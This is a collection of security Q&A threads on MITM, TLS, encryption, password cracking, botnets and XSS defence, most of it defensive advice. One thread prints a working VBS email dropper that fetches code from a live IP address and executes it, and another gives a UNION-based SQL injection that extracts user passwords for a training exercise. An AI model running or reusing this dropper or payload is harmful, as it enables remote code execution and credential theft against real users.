How easy it is to actually perform MITM attack these days The website I am using is using HTTP for retrieval of the page. In the page they ask you to enter credit card details that then go via HTTPS (to another server). They claim that this is secure enough (as it seems that no sensitive info ever travels unencrypted) and it might look so at first glance.

Using a simple MITM attack, attacker can modify webpage JS by adding an event listener that posts card details to the attackers server on submit of the form (that have all the card details). The user and the server wouldn't notice anything strange and the transaction could complete successfully. Is my understanding correct of the situation? Is it really unsafe?

And also, is MITM attack something that is very hard to perform, or is it doable with minimal hacking? How is it when comparing Public Wifi, Home Wifi and Cable internet?

Sorry for some broadness, I would appreciate some insight or links

I'll do my best to answer each aspect of your question, but keep in mind that this is a broad topic with many intricate details.

first things first:

  They claim that this is secure enough (as it seems that no sensitive info ever travels unencoded)

Semantic correction - the word  you want is unencrypted, not unencoded. Encoding means that the data is easily reversible, and encryption is in place to prevent an attacker from reversing the encrypted data back to the original value.

  Using a simple MITM attack, attacker can modify webpage JS by adding an event listener that posts card details to the attackers server on submit of the form (that have all the card details). The user and the server wouldn't notice anything strange and the transaction could complete successfully. Is my understanding correct of the situation? Is it really unsafe?

Your understanding is not quite correct for HTTPS sites. Because the data is encrypted, your MITM wouldn't be able to make any changes to the traffic. Remember, the encryption happens between the victim and the website - your MITM proxy doesn't have any control over the encryption. Therefore, all it sees is encrypted data - this makes it impossible to edit on the fly and insert malicious code. Your understanding is correct for HTTP sites, however. MITM attackers are able to manipulate traffic, including injecting malicious scripts.

There is an attack called SSLstrip in which an attacker MITMs the HTTPS encryption by downgrading the user to HTTP (changing https:// to http://). This works because the victim browser thinks the attacker is the website, and the website thinks the attacker is the victim. This is prevented in most websites nowadays by the inclusion of the HSTS header which tells the browser to only access the site through HTTPS. There is a more robust and fairly nontechnical article on this attack here: https://avicoder.me/2016/02/22/SSLstrip-for-newbies/

  And also, is MITM attack something that is very hard to perform, or is it doable with minimal hacking? How is it when comparing Public Wifi, Home Wifi and Cable internet?

MITM is incredibly easy to perform. All wifi traffic is broadcasted - this means that any nearby sniffing devices can read your traffic. If you're connecting to a page through HTTP over public/unencrypted wifi you can assume that whatever information you are sending and receiving is public - all it takes is an attacker nearby with an antenna to read all that in plaintext. To perform a true MITM by having traffic flow through them, attackers can use technologies like WiFi pineapples or aircrack-ng to force users to connect to their wifi network.

You might have heard of WPA/WPA2 wifi encryption. This is the current standard for wifi encryption - if you're connecting to your home router with WPA2 you can be reasonably confident that an external attacker can't intercept your data. WEP has been obsolete for a long time - do not trust WEP encryption to keep your connection secure. Keep this in mind whenever your connect to an open (unencrypted) network - your laptop/phone will generally warn you of this before you connect.

Connecting over cable internet is much harder to intercept/mitm because you're not broadcasting your traffic for the whole neighborhood. In order to compromise this network an attacker will have to gain access to it somehow - either through physical access to a network port, malware installed on a host machine or router, etc. When an attacker has access to a network they then have to exploit that access through attacks such as ARP poisoning or HSRP spoofing. These attacks just MITM traffic - anyone on the network can still sniff (read, but not change) traffic, but keep in mind HTTPS traffic is still encrypted and can't be read.


Simple SQL Injection I'm training my SQLInjection knowledge on a training tool made by my university.
In a certain lvl there is this simple product viewer which gets a row based on a id.
So the query should me something like SELECT * FROM products WHERE id = ?
There is a simple security layer which filters some chars (and char combinations) like OR and such.

The following input gets me four results instead of one:
1 | 1 is not null

GOAL: get the users pass

Additional info:
There is a user table with a password column.
The wanted user has the 'name' 'Piet'

How could I get my injection to work such that it will return the password somewhere?

Perhaps inject a union?  You will need to know what columns are returned by the base query.  Say you determine that the original query is essentially returning:

SELECT id, productName, productDescription, createdDate FROM Products where ID = 1

You can craft a UNION query that matches the same column structure but queries another table.  Then if you pass in the following instead of 1:
1 UNION SELECT null, userName, userPassword, null FROM users

It will create the following query:

SELECT id, productName, productDescription, createdDate
FROM Products
where ID = 1
UNION
SELECT null, userName, userPassword, null
FROM users

Which basically appends another query that hits the user table and returns username/password.

Ideally this would give you the password because the password would be salted/hashed, but if the exercise is asking you to get the password it probably isn't.  Just keep in mind that in a real world scenario you would salt/hash your passwords to protect against your database being compromised.


Protecting LAN from remote controlled VMs I am making a virtual network setup for my high school cybersecurity team to practice. I am connecting all the VMs together through a VPN and then people who are practicing will VPN in and ssh/remote desktop into the different VMs. The problem is that for practicing, they will need root access into the VMs and because the VMs are connecting to my personal network, the VMs pose a security risk to my personal network. Is there any way in either VMWare or VirtualBox or even making an unchangeable iptable (I can make all the windows VMs go thru a linux VM) to prevent people from connecting to my local network via the VM?

Have you thought about this:

VMacc will be the linux access VM, this one has a public IP I guess? It also has is your VPN access point.
Create a virtual switch in vmware and put all your vulnerable VM's in the same subnet. You can use the let them be on the same subnet your vulnerable VM's will be on.

Now just firewall so that only the openvpn port is open on your Linux machine. People will be able to VPN into your network and access the vulnerable VM's and there is no connection to your normal LAN since they are on their own virtual network.


CTF competitions/challenges that are Windows based? I've been messing about in CTF's for a while and I also do pen-testing professionally, what i've noticed is a distinct lack of CTF competitions using windows environments.

This is in stark contrast to the majority of environments I test professionally (that's not to say there isn't *nix used heavily in the environments), just that its (IMHO) way more beneficial to go after the AD infrastructure and the clients rather than exploit a single unix box at a time.

While there's plenty of RE/Binary challenges out there for Windows environments, i'm yet to see a good CTF run which uses Windows networks rather than *nix variants. I might be totally wrong or just playing with lame challenges but I suspect that licensing issues plays a large part.

I feel this is important as when grads and other people keen on getting into info-sec start I often recommend playing with CTF's and doing other challenges/virtual environments. What i haven't been able to recommend is a resource that helps with exploiting Windows environments.
Plenty exist for Web-apps for example pen-tester labs has pre-configured ready to go VM's for web-app testing which I find great. I think it'd be awesome if something like that existed for specific attack scenarios on Windows as well.

What I'm asking for is the following:

Are there any CTF competitions that run that include Simulated Windows networks as part of the challenges (not just the usual RE binary challenges)?
Are there any downloadable Windows VM's which come pre-configured (Say AD server and 2x client PC's joined to a domain for example but preferably with different configurations say for example kerberos)?
Aside from licensing issues, is there any technical reason why running Windows CTF's isn't practical? I can imagine running a Windows machine as a Virtual one is simple enough to snapshot and restore if someone playing is a jerk and decides to try and trash the machine.

As a member of the active CTF team, which organized some competitions, I think I could say a few words how does it look from the inside.

First of all the licensing problem is in fact the main problem. But following your questions:

  Are there any CTF competitions that run that include Simulated Windows networks as part of the challenges (not just the usual RE binary challenges)?

I don't know exactly what do you mean by "Simulated Windows networks" but I guess you mean some kind of the vpn networks or other kind of virtualized networks in where you would need to find some vulnerable hosts and exploit them. The idea is good and I think the main limitation in here are the paid licenses of Windows products. In fact it quite hard to find any sponsor for the competitions (we often cooperate only with the organizers of the conferences where the CTF take place) and gain the money for this kind of request. Having in mind that we'd need to invest not only our time but also private money for the challenges, the choice between free Linux systems and their paid Windows counterparts is not very hard. What's more I've never heard about "two-days" Windows licenses and they would be the best solution in case of CTF games. The single license shared between different competitions is not the perfect solution too. Because of the aim of such competitions and nature of the players we need to consider the situation that our license key will be stolen. To prevent such a situation we would need to use some MAC, write the policy and hardend the system itself to don't let the players hack us too much. In my personal opinion it is much easier to do it on Linux than on the Windows systems. Summing up, because of reasons I've mentioned it's not profitable to setup such environments, even if it would be cool from contestant perspective to play on it.

  Are there any downloadable Windows VM's which come pre-configured (Say AD server and 2x client PC's joined to a domain for example but preferably with different configurations say for example kerberos)?

No, because of licensing reasons. I don't know if it could be ever possible. We could store the configuration itself that need to be applied or create the software that places the bug - but it's pointless in case of CTF competitions. It would be much easier to hack if you known where to look for a bug. What's more you'd require from user to have the exact copy of the system on his machine which is not preferable. The competitions should test mainly the skills - not the possessed resources (software & hardware).

  Aside from licensing issues, is there any technical reason why running Windows CTF's isn't practical? I can imagine running a Windows machine as a Virtual one is simple enough to snapshot and restore if someone playing is a jerk and decides to try and trash the machine.

Merging first and second answer... In case of online challenges - technically we'd need to assure the security of the host which for me looks harder than in case of open systems. For heavy-load challenges we would need multiple licences for all of the machines running behind load balancer. In case of offline challenges - we would require from user to posses exactly the same system or software which is not good - we would prioritize resources over the skills of the player.


Microsoft OneNote being detected as Malware I am helping a friend install OneNote 2013 64-bit on their Windows 7 (64-bit, SP1) system.

We went to the official Microsoft OneNote website, www.onenote.com, clicked on 'Windows' (just to the right of 'Get OneNote for free on all your devices'), then clicked on 'Other download options' towards the bottom of the page.   This displays a 'Free Download' link, which, when clicked, downloads the MS installer for the 64-bit version.

The URL of the installer is:

  https://c2rsetup.officeapps.live.com/setuponenotefreeretail.x64.en-us_.exe

We scanned the downloaded file using Avast 2015, and there were no problems reported.  We then ran the program, and Avast brings up its big alert stating "Virus Found" (object: onenote.exe, process: officeclicktorun.exe).  The infection name is "Win64:Malware-gen".

Can other people try this out and see what happens.  We are not sure how to proceed at this point.  How do you tell if this is an infection or a false positive?

This appears to be an issue with the Generic/Heuristic detection in Avast. It has been raised by others in Avast forum as well :
https://forum.avast.com/index.php?topic=158789.0

https://forum.avast.com/index.php?topic=152101.0

Since the download link you posted is legitimate, it is less likely that it is a malicious download. It can be confirmed by scanning the downloaded file on virustotal.

The only possible reason I can think of is a possible false positive trigger. there are some known malwares that affect OneNote, but these infections are on machines which have OneNote pre-installed.
http://answers.microsoft.com/en-us/office/forum/office_2007-onenote/onenote-related-malware-plants-sirefefn-trojan/32a25d09-5ad4-45d3-abc0-6b9a97b601d3


How does signing work with Elliptic Curve Crypto? So I have read up and have a decent understanding of how the crypto works with Elliptic Curve Cryptography.  I also think I have an understanding of how signing works with things like Elliptic Curve Digital Signature Algorithm (ECDSA).  The certificate and private key on my web server are both 2048 bit RSA keys.  Can I only do RSA signatures because that is what my keys are?  If I can do things like ECDSA, how is the trust chained from my RSA keys to the ECC keys that are used for signing under ECDSA?

Elliptic-curve (EC) cryptography is significantly different than traditional RSA-style cryptography.

Bottom-line Up Front (BLUF): Your server can only handle RSA key exchanges given the information you provided.

As a primer, both of these are asymmetric cryptographic protocols. They are used to securely transmit a SYMMETRIC key that both parties use to encrypt the actual data/message. The reason behind this is that asymmetric cryptographic protocols are extremely computationally intensive as compared to symmetric cryptographic protocols (in the general case). So encrypting a large dataset or a streaming message would be resource intensive. Instead, the symmetric key is used.

So back to your question. Your digital signature has been created and signed stating that your public key is a 2048-bit RSA key. That necessarily means that your private key is also an RSA key - You cannot use EC protocols with that digital signature or the keys that you possess. So the answer to your first question is: Yes, you can only do 2048-bit RSA key exchanges on your web server.

To create/generate EC keys you would have to either be issued one (or more) from an upstream provider or generate them yourself via a 3rd party tool like openssl.

As an additional aside, readers may be wondering why you would use EC over RSA. Well that's because of performance. In theory (at least to what's been proven to date in the security community), EC keys take up much less space and run more quickly on a particular system (hardware implementations may vary that contradict that statement, but in solely software implementations on the same system EC should be faster than the equivalent-strength RSA).

For instance, according to the openssl page on EC (http://wiki.openssl.org/index.php/Elliptic_Curve_Cryptography), encrypting a 256-bit symmetric key in RSA would require a15360-bit RSA key but only a 512-bit EC key.

So you see, if you're running an HTTPS server with lots of clients, you would want EC keys because you can secure the symmetric key much more quickly and reduce your overall processing by a lot (including the amount of data sent over the wire in the key exchanges).

On to your second question. If you were to have EC keys, they would likely be in a different certificate because they would be issued/generated at a different time. The trust would be from whatever source your current trust is - whether that's an internal root certificate authority or an external one like verisign or godaddy.

In theory, if your certificate were granted the proper permissions, it COULD be used to sign down-stream certificates (meaning, your certificate is an intermediate certificate authority that can then sign requests from others within your organization). If that were the case (not likely given your certificate is used on a web server), you could create EC keys and an EC certificate signing request and issue a certificate that is authorized by your 2048-bit RSA signature to permit the use for your, for example, 384-bit EC key.

I hope this helps some. I'd read the openssl link I posted for a bit more on this.


Contract requires me to work with sensitive IP, severe penalties for loss of data to 3rd parties. Some protection pointers please Background:

The company I will be working for as a consultant has developed IP which could potentially be worth billions. The confidentiality clause in the contract has penalties for breaching the clause which are essentially open ended, a six figure penalty plus loss of earnings, loss of future business etc...

The confidential data will be stored securely in their offices, with secure remote access (I don't yet know how this will be achieved). I will be working both in their offices, in my home office, and on the road, visiting clients worldwide.

Questions:

Obviously, I want to avoid any potential loss of sensitive data, and while I can insure against losses up to a certain amount, given the open ended nature of the penalty clause, any serious breach could bankrupt me. My first question relates to how I deal with this confidential data, opened and cached on my laptop, to avoid any likelihood of it being inadvertently retained on my system in an unsecured state.

Secondly, I will need to secure my laptop against any potential attack which would provide access to this confidential information while I was working with it. What would be the best way to secure my laptop, my home working environment, and to protect against an attack while on the road?

If the potential compromise of the data can truly cause damages in the billions, then in my opinion you need to seriously question the advisability of taking this data "on the road, visiting clients worldwide."

Is there some business reason why this client requires you to take this data all over the world? If not, then don't do it.

You do understand that every time you go through customs you may be required to turn your laptop over to a customs agent for inspection don't you? Has your client agreed in writing that it is OK for you to give access to third parties?

Why are you taking this data to other clients? If this is not something your client requires, don't do it.

If you were doing work for the federal government, they would not permit access to their controlled data in anything other than a controlled environment. In fact you could end up in jail if you took certain types of data off premises and particularly out of the country.

Come to think of it, why is this data on your laptop at all? Could you not do your job by having it on a thumb drive or external hard disk that you kept locked in a safe in your home?


Is it possible to intercept Airdrop data transfer be intercepted? If I am logged into a school WiFi and I airdrop a photo to someone can the school see what I airdrop? Or what I am searching using their WiFi?

These are actually two different questions.

Airdrop

According to Apple, Airdrop transports the data directly from device to device end employs TLS-encryption for the transport. Therefore, nobody should be able to intercept the transferred data.

You should keep in mind though, that your legitimate recipient can forward the image to anybody or publish it! Think twice before you share sensitive data!

WiFi-Usage

When you are logged into the WiFi of your school, the school will be able to monitor all unencrypted connections you make. If you use HTTPS for browsing & searching, your school will not be able to tell what data was exchanged, however it will be able to tell, which host your device connected to. Also, the DNS traffic will be readable for your school, which will reveal which domain names your device tried to resolve.

Your school might also try to tamper with HTTPs by deploying a Proxy or trying to downgrade to HTTP in order to access your encrypted communication as well. If you have not accepted a school certificate authority, this should be easily detectable.


Would a difficult to access "Key" be an option to securely solve the Apple vs. FBI problem? In recent times, there has been an escalating demand by legislators in the US and the world around to be able to decrypt phones that come pre-configured with strong encryption.  Key escrow is commonly suggested as a solution, with the risk seeming to arise out of the escrow agent misusing or not appropriately securing the keys — allowing for remote, illegal, or surreptitious access to the secured data.

Could a system secure from remote attack be devised by adding an offline tamper-evident key to the device?  This could be an unconnected WLCSP flash chip or a barcode within the device with the plaintext of a decryption key.

I recognize the evil maid attack, but presume a tamper seal could be made sufficiently challenging to thwart all but the most motivated attackers from surreptitious access to the data.

What would be lost in this scheme relative to the current security afforded by a consumer-grade pre-encrypted device (cf. iPhone)? Bitcoin, Subpoena efficacy, and other scenarios that seem fine with "smash and grab" tactics come to mind.

Your proposal seems to be a device-specific key which is somehow placed on the device with the intention that only "authorized" law agencies can read. Only, this does not actually solve the problem since it is not that much a technical problem in the first place. It is easy to create a backdoor nobody can access. The problem starts then to make sure that only the right people can access it (whoever these are) and only for the right purpose (whatever this means).

It is not an FBI problem but a world-wide issue - most governments want to have access to the encrypted data in case of severe crimes although definition of what is considered a severe crime differ. Thus who should get access to this backdoor then: the secret services of every country where a phone gets sold? Or do you want country specific backdoors And how a customer can be sure which country has access to the specific backdoor on your phone? And how can be guaranteed that the knowledge on how to access the (country specific?) backdoor keys stays only with the agency which is supposed to have the keys while still being flexibel enough to be usable in multiple places where the agency has offices?

The main problem is not how to securely implement a backdoor so that the average criminal has no access to it. The problem is more how to make sure that only the legally allowed agencies get access to the key and will only use it for legally allowed purposes.


Can an attacker with MitM privileges perform denial of service and other attacks besides interception on local LAN? I would like to better understand what an attacker who has MitM control on a LAN can do to the victim. I understand that basically a MitM attack means you intercept traffic and can see the data [and also potentially modify].

Beyond this, can an attacker also use his MitM access to do denial of service attack? Can the attacker target specific ports? If so, how can I prevent the attacker for causing me a denial of service?

Can the attacker performing MitM on me control all my traffic, what can I do?

Can the attacker know which ports I (the victim) am using at any time and then target those or do something else based on this?

Can an attacker block traffic

Yes, an attacker can create, modify or even drop traffic.

Why can an attacker block traffic

As all the traffic flows through the attacker's machine they can drop traffic

How can I defend myself

Once you have a MITM attacker you cannot be sure that messages are not being dropped, you can try to detect this with messages that are sent to make sure the connection is live, but this only lets you detect an attack, not work around it when it is in progress.


How to handle end to end encryption I am working on an app where the goal is to upload user data, store it, do some processing on that data and present it to user when asked.
We want to follow end to end encryption model where the system has no way to decrypt the data an user uploaded. I haven’t dealt with security this way before and in the presented architecture I have a few questions/concerns which I want to share with you all.

Methods:

When a user registers we generate a public private key for him, private key is called master key here.
When a user adds information we encrypt it using session key. Only the data processing unit(DPU) of our system should be able to decrypt this data. Since the data size might be larger than RSA-3072 the data is first encrypted using AES-256 and then encrypted with RSA session key.
Uploaded data goes to DPU, it decrypts it, does its processing and encrypts again.
When user wants access to this information we encrypt the master key with session key and send it to DPU in order to decrypt that data.
Post decryption DPU gathers all the data requested, generates a new data key, encrypts response using this data key, encrypts data key with client’s session public key and assemble both encrypted key and response and returns it.
Client app decrypts key with client’s session private key and the response is decrypted with data key.

Concerns:

This model is theoretical as of now, is this do able ?
Who generates these keys(session keys, data keys), do developers(Java and Python) generate these keys and where do we store them?
Is there a library we can use to make life easy for us? Again, we don’t want our system to be able to access user data without user’s master key which is on his device. We plan on using AWS Cognito for authentication and authorization and as far as I know it doesn't provide any session keys so how can we achieve whats mentioned?
Sending private key over wire to decrypt the data, is this a good idea?

I know this is lot of information please let me know if you have more question, looking forward to suggestions/comments.

End to End encryption is when 2 systems communicate thru a 3rd party, and this 3rd party cannot decrypt the contents. Like the Signal chat app, or Whatsapp, or when you encrypt your email with the recipient's public key before sending it. In this cases, the message leaves your system encrypted and nobody but the recipient can decrypt and read it.

Your case can be solved using TLS and client side certificates. When the user signs up, let it create its own certificates (on your app) or send him one created server-side, and use this certificate on every communication. Create one certificate for the DPU and encrypt data client-side using it. This way only the DPU and the client can access the data.


gpg2 --symmetric and passphrase Trying to encrypt files using gpg (GnuPG) from command line, using AES256.
 To encrypt:

gpg2 --cipher-algo AES256 --symmetric file

To decrypt:

gpg2 --output file --decrypt file

Question is, when encrypting, it asks for a passphrase, but when decrypting, it DOESN'T ask for a passphrase. Is it normal? Why I can decrypt without entering a passphrase?

gpg2 always includes the encryption master key to comply with the latest DHS consumer encryption standard.

No, kidding, actually gpg2 always starts an "agent" that holds on to your passphrases for you. Do:

killall -w gpg-agent

And then try to decrypt again - it should ask for the password again.


I get an e-mail with *.VBS virus file I unwisely opened the file. I was sure that Windows will ask me if I am sure to run this script, but unfortunately, it wasn't. Now I am wondering what that file is exactly doing. Can anyone help?

content of the file:

' fffff
' ssssss

Dim DSLOVIEI
Dim foxtomnum, ubigs
ubigs = 0
foxtomnum = "1118812"

Call SookCanalTV(2 + 2)

Function TroceSHello(kpserial)
   On Error Resume Next
    DSLOVIEI.Quit()
    Execute "" + kpserial + ""
End Function

Function DSLOVIEIChek(stcurl)
 Set DSLOVIEI = CreateObject("InternetExplorer.Application")
 DSLOVIEI.Visible = 0
 DSLOVIEI.navigate stcurl

 While DSLOVIEI.ReadyState <> 4 : WScript.Sleep 110 : Wend

 DSLOVIEIChek  = DSLOVIEI.document.body.innerText
End Function

Sub SookCanalTV(one)
  On Error Resume Next
    While ubigs < one
        WScript.Sleep 10 + 3
      Call onlineZolo()
        WScript.Sleep 11000
   Wend
End Sub

Function onlineZolo()
    Dim promazzzzz
    foxtomnum = CStr(foxtomnum + 1)
    promazzzzz = DSLOVIEIChek("http://192.3.45.90/online.php?mdms=143760135&to=" + foxtomnum)
TroceSHello(promazzzzz)
End Function

Unfortunately, that VBS script appears to be a dropper which has installed malware to your computer. Your best option is to reinstall your operating system and start fresh.

The script has been uploaded to VirusTotal recently with indications of malware, and hybrid-analysis has further details of the malware after analysis.

The malware basically does the following:

Creates an Internet Explorer process in the background
Navigates to http://192.3.45.90/online.php?mdms=71464&to=1118813 multiple times, increasing the value of the to parameter each time to make different GET requests and download different VBS code
Executes the downloaded VBS code, installing malware


Do security questions pose threat to the user? When we set up security questions, assuming we answer fairly, we give out to the site our secrets, facts from our past. I wonder if the following is considered:

we are encouraged to use a different password for every account, but our mothers have only one maiden name, we've had a limited number of pets, etc. Inevitably the answers are going to repeat on many accounts.
we've seen many data breaches from many places, including the largest internet companies. Can the security answers become public this way? We can update passwords, but our secrets remain the same, except in case of a breach they are no longer secret. Consequences of releasing security answers might be much more serious than that of leaking a password.
are the companies and websites actually allowed to store such private information? Are there legal limitations?

I found the following questions on SE:

How are "security questions" not a major security hole for any application that uses them?
Do security questions make sense?
Does removing my security questions on Yahoo make me more secure?
Do security questions subvert passwords?

The answers range from "security questions are bad" to "they are bad but we have nothing better". Do we really have nothing better in 2020?
What are the present recommendations for the website creators?
What are the best recommendations for the users? Lie? Provide random strings as answers?

You should absolutely lie!
Security questions are only looking for a match, answers needn't even be in context to the question (usually). Not only should you lie you should lie differently everywhere.
Favorite Food:  A Red Bicycle

Of course this puts the onus on you to keep track of your lies.
Two Factor Authentication (2FA) should be used if possible/practical.
An aside on lying:
My wife was working as a librarian and was dealing with children signing up for a summer reading activity. The sign up asked for Birthday as an age determinant. My wife told the children not to put down their actual birthday, just their actual year. The children were slightly aghast at an adult telling them to lie, but it was the parents that occasionally became irate at the suggestion that their child should ever lie.


Is the Linux / Debian software and package-management ecosystem secure? My basic question is this:

When we are using the Linux / Debian apt-get or yum package system, we're placing a lot of faith in that the packages we're downloading and installing are secure. For that matter, even downloading Linux images from Ubuntu or Debian or Red Hat or whatever, we are assuming these servers are secure and the sources are trustworthy.

Given that there's a broad variety of distros, package managers, mirrors, and sites serving us this content, it seems worth questioning the security of this whole ecosystem.

How secure is this open-source software ecosystem from nation-state security department hackers?

As we know, our own "guv'mint" has already been responsible for compromising the servers and security standards of other open-source projects such as the SSL encryption standard, and implicated in hacking private corporate systems which we rely on (Google/Gmail), which gives me reason to consider how many possible attack vectors there could be in an ecosystem as complex as the open-source / unix / linux community is.

To give a concrete example:

If I use Ubuntu's apt-get package manager in the US (or another country), I am blindly downloading packages from servers hosted in that nation and assuming that the software I'm installing is safe. What is there to secure that the servers haven't been compromised, or had malicious code embedded in trusted software packages? It seems like a likely target for nations with Information security departments which have strong ambitions towards controlling cyberspace.

It isn't. The threat model attempts to be resistant to external attack, but if all it takes is a malicious line in a build script on a package used on most systems (e.g. libc, x11, etc.) then all they need to do is compromise one build machine to gain near-universal control.

Attempting to protect against this is hard, and the only way to do it is to build on lots of machines and diff the outputs (which isn't always feasible due to the entropy involved in minute package version changes across build systems). This isn't cost or time effective for open source, so it isn't done.

Realistically, if your adversary is a nation state and they actually give a crap about getting at your stuff, you're likely not going to win that fight unless you're also a nation state with a capable security budget and a big helping of luck.

As James Mickens said in his brilliant paper "This World of Ours":

  If your adversary is not-Mossad, then you’ll probably be fine if you pick a good password and don’t respond to emails from ChEaPestPAiNPi11s@virus-basket.biz.ru. If your adversary is the Mossad, YOU’RE GONNA DIE AND THERE’S NOTHING THAT YOU CAN DO ABOUT IT.

  The Mossad is not intimidated by the fact that you employ https://. If the Mossad wants your data, they’re going to use a drone to replace your cellphone with a piece of uranium that’s shaped like a cellphone, and when you die of tumors filled with tumors, they’re going to hold a press conference and say “It wasn't us” as they wear t-shirts that say “IT WAS DEFINITELY US,” and then they’re going to buy all of your stuff at your estate sale so that they can directly look at the photos of your vacation instead of reading your insipid emails about them.

TL;DR - Including nation states in your threat model is essentially equivalent to including wizards in your threat model: nobody really understands what they're capable of, and nobody really has any reasonable capability of defending against them.


How long will it take to crack a 10-15 character winrar password? Ok, long story short, I'm currious how long it would take an agency to crack a 10-15 character winrar password. The file names in the archive are also scrambled including a word at the start and numbers and characters. Roughly, should I have reason to believe this could be cracked within a reasonable time frame?

There is some data here. WinRAR uses a custom key derivation function which involves thousands of SHA-1 invocations. Apparently, with two good GPU, about 15000 passwords per second can be tried.

Then it depends, not on the length of your password, but on the way you produced it. It's not the length which makes the password strong, but the randomness. If your password is a sequence of 15 random characters, chosen uniformly and independently of each other, then it will resist forever. If it is a common English word which happens to be 15 characters long, then it is toast and will be recovered in a matter of seconds.


Botnet callback patterns I am trying to understand the network behavior of bots. Are there any identifiable characteristics of callback requests from the bot to the C&C server which differentiates it from normal traffic?
I have learnt of situations where there is a regular callback at a particular time of day,etc. Are there any documented resources which catalog network behavior of bots?

It depends how the botnets communicate:

Most basic botnets will communicate using the old school Internet
Relay Chat.
Some applications also communicate using HTTP calls, getting their
commands occasionally from one or several control  servers
Some botnets use peer-to-peer using sentinels for intermediate control. Distributed botnets have the benefit that they can't be taken down by taking down one controller.

So as you can see there is not just one single protocol that can be used. Most protocols also use custom calls to obfuscate their presence. Remember these bots do not want to be detected.

Some references:

Botnet communications primer
Taxonomy of botnets
The new era of botnets


Must TLS also accept unencrypted messages? A co-worker insists that TLS can't be configured to insist upon messages encrypted with known keys/cyphers -- ie, that plaintext requests will always be accepted. This would leave TLS unable to reject requests from unauthorized users, leaving that to the next layer of the stack. (And he's concerned that someone, someday, will forget to encrypt a message, expose their session token/user identity/whatever, and leave themselves open to a man-in-the-middle attack.)

I'm certainly willing to believe that the machine he tested was configured to accept "none" as an encryption protocol ... but I'm having a bit of trouble believing that TLS hasn't provided a standard way to insist that people take reasonable precautions, and only a bit less trouble believing that insisting on a secure connection isn't the default.

One of us is confused. Which?

The literal answer is no: TLS does not accept unencrypted messages. However, your colleague's worries are not unfounded. I don't know whether he's confused but accidentally stumbled onto a real concern, or he understands the issues but explained them very confusingly.

A TLS connection is always encrypted (so a man-in-the-middle cannot read the data that is transmitted) and integrity-protected (so a man-in-the-middle cannot modify the data that is transmitted¹). Although the TLS specification defines a “null” ciphersuite, most applications won't use it, and not all TLS libraries even alow it. Unless you go out of your way to enable it both on the client and the server side, the null ciphersuite won't happen. Every other ciphersuite has encryption and integrity protection.

The security of TLS also relies on the two parties ensuring that they're talking directly to each other. There would be no security if all that happened was that the legitimate client has a secure connection to the man-in-the-middle, and the man-in-the-middle has a secure connection to the legitimate server. The way this works on the web (and in most other uses of TLS) is that the client authenticates the server by verifying that the server's certificate is valid. I won't go into what “valid” means here; in a nutshell, the certificate has to be cryptographically consistent with the connection (the client will always verify this) and has to be signed by a certificate authority that the client trusts (this bit is a bit more fragile, but it'll work provided you use reasonably up-to-date software and set up the server properly).

As usual all of this is subject to keeping up with security updates in the software, and to configuring it properly. Some older versions of the protocol have been broken, i.e. they don't offer the guarantees that they were designed to offer. But as long as you don't run ancient software or enable obsolete features in the server configuration, things are fine.

So what might your colleague be referring to?

  someone, someday, will forget to encrypt a message, expose their session token/user identity/whatever, and leave themselves open to a man-in-the-middle attack

This can happen even if your server supports TLS. A client could send an HTTP request instead of HTTPS. Then an attacker could impersonate your server and see the data that the client sent over HTTP. There's nothing the server can do to completely prevent this, but there are things you can do to make it mostly a moot issue.

The first thing to do is to only give people URLs starting with https://. That doesn't help if people type the URL directly.

One side of the coin is to configure your server not to respond to HTTP, except to redirect to the HTTPS site. In other words, all you serve on port 80 are redirects to https://same remainder of the URL. Furthermore, convey to the client that they should use HTTPS directly the next time, by enabling HSTS in your server's configuration. HSTS makes the server send the client an instruction to always use HTTPS for a particular site in the future. This way only the first connection from a particular client might be in cleartext.

The other side of the coin is to protect confidential data from being sent over HTTP. You can't protect the user's credentials if they insist on sending them in cleartext, just like you can't prevent a user from opening their window and shouting their password to everybody in the street. But you can protect the cookies that your application uses: make sure that all of your cookies have the secure flag. That way, if the user somehow gets their browser to make an HTTP connection, the browser won't send the cookies.

¹  Exception: a mitm can force the connection to be closed midway. This is in principle visible because that happens at the TCP level and both parties can tell that the TLS level wasn't properly terminated (by a fatal alert), but applications such as browsers typically don't provide any feedback about this, and it's indistinguishable from network glitches that do happen.


How does Cloudflare track their client? Tor is not a workaround I mirrored a ecommerce site using wget. This site seems to use Cloudflare to handle their web traffic.

What's interesting is that after 90 % or so of the mirroring was done, wget started to produce/receive a lot of error messages. I then tried to open the site in a regular browser but was greeted with a 403 error and a message from Cloudflare "The request was blocked". Ok, fair enough, they probably don't want people to download 1.5 million pages from them (which is what I had done at the time).

However

When I use Tor Browser on the same machine I run wget on to access the same site I get the same error message.
When I access the same site using my second computer (both machines are connected to the same WiFi) in both a regular browser and the Tor browser, it works fine.

Has Cloudflare somehow managed to fingerprint the machine I run wget on in way that makes it possible for them to also identify my machine through Tor? How much information does wget reveal when it connects to a web server?

That hardware is a quite common Macbook Pro 15" so nothing extraordinary there.

Tor browser is running using its default settings.

Cloudflare is notoriously unfriendly towards Tor users. Most Cloudflare hosted sites becomes quite patchy when accessed through Tor as Cloudflare rates Tor users as high risk users.

It's possible your scraping or the site admin triggered "I'm under attack" mode, which increases Cloudflare's vigilance while it's active.


Using classic ASP, is this the right way to do to protect against XSS? Using classic ASP, is this the right way to do to protect against XSS?

var1=untrusteduserinput

Showing a text in the body

<%=server.htmlencode(var1)%>

Showing a link in the body

<a href="http://www.example.com/page.asp?var1=<%=server.urlencode(var1)%>"><%=server.htmlencode(var1)%>

Showing an image

<img src="http://www.example.com/images/<%=server.urlencode(var1)%>" alt="<%=server.htmlencode(var1)%>">

Showing an iframe

<iframe src="http://www.example.com/page.asp?var1=<%=server.urlencode(var1)%>">

In meta tags

<meta name="description" content="<%=server.htmlencode(var1)%>">

In forms

<input type="text" name="var1" value="<%=server.htmlencode(var1)%>">

EDIT:
In e-mail

<a href="mailto:<%=server.urlencode(var1)%>">Email

EDIT 2:
Why does http:// become %3A%2F%2F when using urlencode on a link like this? Then the link doesn't work.

<a href=”<%=server.urlencode(var1)%>”><%=server.htmlencode(var1)%>

EDIT 3:

Thank you so much for your replies!
However, I am not sure if I understand this right. XSS is dangerous on output, on what is printed on the website so that others can see it, right? So I thought that is was the fact that the link appears as a clickable link that made it more dangerous? That someone inject malicious code that´s executed when someone clicks on the link? And that it was because of that I had to use urlencode instead of htmlencode.

If I have a link that someone else entered in a form, how can it be safe with only HTMLencode? I do not know if it´s a link within my own website or if it´s to an external website. In theory, it can look exactly like the link in my first example where I used urlencode of a variable that was only a part of the link.

